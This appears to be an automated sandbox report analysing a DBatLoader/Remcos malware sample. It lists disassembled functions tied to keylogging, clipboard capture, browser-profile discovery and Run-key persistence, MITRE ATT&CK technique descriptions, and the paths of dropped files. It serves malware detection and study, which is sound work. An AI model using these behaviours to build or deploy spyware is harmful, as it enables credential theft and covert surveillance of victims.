Opcode ID: ef81bb85cbb1d2d31dd2b96fe8df3e74f461139ab0ad5d7a805023f4a171fef0
Instruction ID: bb6ad69959738e4d151a4eba42f92429109dd17c4689cfd7a53b1489d5a76fd0
Opcode Fuzzy Hash: ef81bb85cbb1d2d31dd2b96fe8df3e74f461139ab0ad5d7a805023f4a171fef0
Instruction Fuzzy Hash: E2F0A4A2B017154FD740EAF9A840A2F6AD99BD4560F10442EE6458B281EFB9DC058790

Function 030D015D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 030D01ED

Strings

pow, xrefs: 030D01C5, 030D01E2

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 5af013d2910ae7cb1dd20d718bdc5b5791bf7e77b29d1d708ff0c91cde6f840c
Instruction ID: 0ce8df328fd9b5c41926189d6ae201b3901343d926257a82b76957ce783a7477
Opcode Fuzzy Hash: 5af013d2910ae7cb1dd20d718bdc5b5791bf7e77b29d1d708ff0c91cde6f840c
Instruction Fuzzy Hash: CA519365B0730296DB51F71CCA003BE7BD4DB40B50F2C4E58E4DA4A2DDEB398895CA46

Function 0309A694 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 030C2525: __onexit.LIBCMT ref: 030C252B

__Init_thread_footer.LIBCMT ref: 0309A6E3

Strings

[End of clipboard], xrefs: 0309A725
[Text copied to clipboard], xrefs: 0309A732

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: [End of clipboard]$[Text copied to clipboard]
API String ID: 1881088180-3686566968
Opcode ID: 1265d97c3cf5668b055c2efdf8b9b0b3d4b46af0236cb2f16301a5f7fa4f8811
Instruction ID: cec83dadfd467af8c31a7fbcb51849e26ffcdb58301bea033795689e00b1a8cc
Opcode Fuzzy Hash: 1265d97c3cf5668b055c2efdf8b9b0b3d4b46af0236cb2f16301a5f7fa4f8811
Instruction Fuzzy Hash: 5421B639B123095FEF08FBA4DCA1DEEB379AFD4210F50056AD5165F191DF309A4AD640

Function 030DED17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,030DEF72,?,00000050,?,?,?,?,?), ref: 030DEDF2

Strings

OCP, xrefs: 030DED6B
ACP, xrefs: 030DED35

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 38bb0f5b298e4f52d0befe1d306622e090414746b18dc63367b0407f09f9dc03
Instruction ID: 7070218d1ea71d7f1f8a797d30f2ae3589a38f517a315d32885af5348b001cd4
Opcode Fuzzy Hash: 38bb0f5b298e4f52d0befe1d306622e090414746b18dc63367b0407f09f9dc03
Instruction Fuzzy Hash: F721F866A02304A6E774DB54CD00BABB3EAEF44E50F5A4464ED0ADF10CEF32D900C360

Function 03094FD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,031024A8,?,00000000,?,?,?,?,?,?,030A46C2,?,00000001,0000004C,00000000), ref: 03095010

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

GetLocalTime.KERNEL32(?,031024A8,?,00000000,?,?,?,?,?,?,030A46C2,?,00000001,0000004C,00000000), ref: 03095067

Strings

Connection KeepAlive | Enabled | Timeout: , xrefs: 03094FFF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: Connection KeepAlive | Enabled | Timeout:
API String ID: 481472006-507513762
Opcode ID: 8191d0b250c8c1b1bce73bbcef5db22d0388b03bc89d93479aa69a95a795c798
Instruction ID: e3a2c44b7a9486154350f6e33f23990b5a1e6a01b41773739be9dfe91a0d9028
Opcode Fuzzy Hash: 8191d0b250c8c1b1bce73bbcef5db22d0388b03bc89d93479aa69a95a795c798
Instruction Fuzzy Hash: 64214925A023445BEB0AF765DC2C7AAB798A7CB208F040D1EE8400B185DB755649C7E7

Function 030A94DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000000), ref: 030A94F4

Strings

| , xrefs: 030A9527
%02i:%02i:%02i:%03i , xrefs: 030A9509

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: | $%02i:%02i:%02i:%03i
API String ID: 481472006-2430845779
Opcode ID: aee3d4a8a7b3c16c0254e5273664deca97f7103c9891edbff7fed0db5aa96ba7
Instruction ID: bd1511a7543ea6a530f1897b72d856ac31ece810dcaba97aa4537f9ae3367ffd
Opcode Fuzzy Hash: aee3d4a8a7b3c16c0254e5273664deca97f7103c9891edbff7fed0db5aa96ba7
Instruction Fuzzy Hash: B31196352093095ADB08FBA4D8508EFF3E8AFD4200F500A1FF4958A1D1EF38D945D751

Function 03099F9A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0309A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0309A0BE
Part of subcall function 0309A0B0: wsprintfW.USER32 ref: 0309A13F

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

CloseHandle.KERNEL32(?), ref: 03099FFD
UnhookWindowsHookEx.USER32 ref: 0309A010

Strings

Online Keylogger Stopped, xrefs: 03099FAA, 03099FB2, 03099FD9

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
String ID: Online Keylogger Stopped
API String ID: 1623830855-1496645233
Opcode ID: 214f03ff3f2f3eeee418dfe653e90a5332711ebb5938cac0c0d2edb77d0b4283
Instruction ID: 0ccfb860eed837cbc7d4a911b7949a9e3f4066c375efffb8ec464e62b51910ce
Opcode Fuzzy Hash: 214f03ff3f2f3eeee418dfe653e90a5332711ebb5938cac0c0d2edb77d0b4283
Instruction Fuzzy Hash: 8C01F538B063085BFF25FB68D8067FD7BB98BC2310F44094FC5410A542DBA62556E7D6

Function 0309B404 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000,?,?,?,?,?,?,0309B53E,?), ref: 0309B437

Strings

UserProfile, xrefs: 0309B40B
\AppData\Local\Google\Chrome\, xrefs: 0309B421

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Google\Chrome\
API String ID: 1174141254-4188645398
Opcode ID: efd12b897d0a38b02dd8a097c5e2f4ebd1cf92bd978ed895f4dc3dac38740d97
Instruction ID: d2dc2a29d3e52101f5ef3cece928628ff882993dc7e6aa84ba81b75dab6fdfc4
Opcode Fuzzy Hash: efd12b897d0a38b02dd8a097c5e2f4ebd1cf92bd978ed895f4dc3dac38740d97
Instruction Fuzzy Hash: ADF0A738A4331A9FDF08FBF5DC07DFFBB6C9DA0520B000057B615AE591DE919845A6D1

Function 0309B467 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000,?,?,?,?,?,?,0309B5A1,?), ref: 0309B49A

Strings

\AppData\Local\Microsoft\Edge\, xrefs: 0309B484
UserProfile, xrefs: 0309B46E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Microsoft\Edge\
API String ID: 1174141254-2800177040
Opcode ID: d1cbc2a035f8ae3e04ffd8ecd4395827c82324701fd98037bbfe7d8168b45f4c
Instruction ID: 5c2eae8ef6f9c943179c9b4ede99ede430afee77fc1f5b768e6a300022579ed4
Opcode Fuzzy Hash: d1cbc2a035f8ae3e04ffd8ecd4395827c82324701fd98037bbfe7d8168b45f4c
Instruction Fuzzy Hash: BBF08238A0331A9EDF04F7F5DC16DFF7B689990510B000457A6159A181DE559846A6D1

Function 0309B4CA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000,?,?,?,?,?,?,0309B604,?), ref: 0309B4FD

Strings

\Opera Software\Opera Stable\, xrefs: 0309B4E7
AppData, xrefs: 0309B4D1

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: AppData$\Opera Software\Opera Stable\
API String ID: 1174141254-1629609700
Opcode ID: bdf59d1949102c499a310002227132cf39450befd38938d1d441699efac367a4
Instruction ID: c9fc589327a4acd681c1eb3d4bd2035dc6b8dfda037fd0e6473b239edfe35caa
Opcode Fuzzy Hash: bdf59d1949102c499a310002227132cf39450befd38938d1d441699efac367a4
Instruction Fuzzy Hash: 62F08238A073195FDE04FBF5D806AFF7B6C9990A10B00005BE611AA181DE519946A6E0

Function 0309A592 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 0309A597

Part of subcall function 03099468: GetForegroundWindow.USER32(03102008,?,03102008), ref: 0309949C
Part of subcall function 03099468: GetWindowThreadProcessId.USER32(00000000,?), ref: 030994A7
Part of subcall function 03099468: GetKeyboardLayout.USER32(00000000), ref: 030994AE
Part of subcall function 03099468: GetKeyState.USER32(00000010), ref: 030994B8
Part of subcall function 03099468: GetKeyboardState.USER32(?), ref: 030994C5
Part of subcall function 03099468: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 030994E1

Part of subcall function 0309962E: SetEvent.KERNEL32(?,?,?,0309A77B,?,?,?,?,?,00000000), ref: 0309965A

Strings

[AltR], xrefs: 0309A5CD
[AltL], xrefs: 0309A5D9

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: State$KeyboardWindow$EventForegroundLayoutProcessThreadUnicode
String ID: [AltL]$[AltR]
API String ID: 3195419117-2658077756
Opcode ID: fbb9deb96de5bb0635d5a6127706a9bd0283251634506a566287fbbc885aecb2
Instruction ID: 5cd4f78bf207b6fdb0f666f3308ec8c28f4a281daa9fd66b33ddebe7caeafaf2
Opcode Fuzzy Hash: fbb9deb96de5bb0635d5a6127706a9bd0283251634506a566287fbbc885aecb2
Instruction Fuzzy Hash: 30E02B253033201BEC69B23D292A5FCB93487C2970B80004FE9824F985DD554D0063C6

Function 0309A5EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000012), ref: 0309A5F1

Strings

[CtrlL], xrefs: 0309A61F
[CtrlR], xrefs: 0309A60E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: State
String ID: [CtrlL]$[CtrlR]
API String ID: 1649606143-2446555240
Opcode ID: b85d04628ee45c224e2b181487af7ea36324b310b7ac4826ad073282ee8f2d8e
Instruction ID: ac398ccf568bdb45f7abb7276a4b2536df7f25edf721f7381ca479a7b6c40851
Opcode Fuzzy Hash: b85d04628ee45c224e2b181487af7ea36324b310b7ac4826ad073282ee8f2d8e
Instruction Fuzzy Hash: B6E07D317073111FEC14F57D651A67C7C9887C28F4F02008BEC428F886CC47850123C2

Function 030A2414 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,031021E8,80000002,80000002,0309BD02,00000000,?,03102200,pth_unenc,031021E8), ref: 030A2422
RegDeleteValueW.ADVAPI32(031021E8,?,?,03102200,pth_unenc,031021E8), ref: 030A2436

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 030A2420

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: DeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 2654517830-1051519024
Opcode ID: ccb04d5ab7f125434cce13edd1769a7d4bd9165da92d558bbd0c1b73319251a3
Instruction ID: e780d242663d424ce7c382e603c0cce70cdb5bdb02e6ad20daa12ffddec9b5ee
Opcode Fuzzy Hash: ccb04d5ab7f125434cce13edd1769a7d4bd9165da92d558bbd0c1b73319251a3
Instruction Fuzzy Hash: B7E0C23124520CBBDF10AFB1ED07FBE7B6CDB01F01F0046A5BD0596880C7279A149660

Function 030CB445 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,03091D35), ref: 030CB4DB
GetLastError.KERNEL32 ref: 030CB4E9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 030CB544

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 49dd4d15eea7a661501da13640a2452bfbf0990d85a0fb91bc6d1d289d16d07f
Instruction ID: 6f6937293215e3c04b358dff06447f5e75d6881349e30c78c69337566b1af035
Opcode Fuzzy Hash: 49dd4d15eea7a661501da13640a2452bfbf0990d85a0fb91bc6d1d289d16d07f
Instruction Fuzzy Hash: B4410630622295AFDB61DF64D845BBEBBE8EF41320F18429CE855AB2A6DB31C900C750

Function 030A05C4 Relevance: 5.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 030A05F1
IsBadReadPtr.KERNEL32(?,00000014), ref: 030A06BD
SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 030A06DF
SetLastError.KERNEL32(0000007E,030A0955), ref: 030A06F6

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 753f6eae09332f791abe804d671f69f7bd40ed25fc238e5a9b01044c5b4a7f9f
Instruction ID: d79188c760e043ecb5db35ba92fa5483554e8787091dbfc3db180c8e20e8f747
Opcode Fuzzy Hash: 753f6eae09332f791abe804d671f69f7bd40ed25fc238e5a9b01044c5b4a7f9f
Instruction Fuzzy Hash: 9B419D7164570A9FEB20CF98EC84B26B7E8FF84708F04482DE546C6651EB71E804CB11

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SEPTobn3BR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\remcos\logs.dat

C:\Users\Public\Emxwenem.url

C:\Users\Public\EmxwenemF.cmd

C:\Users\Public\Libraries\Emxwenem

C:\Users\Public\Libraries\Emxwenem.PIF

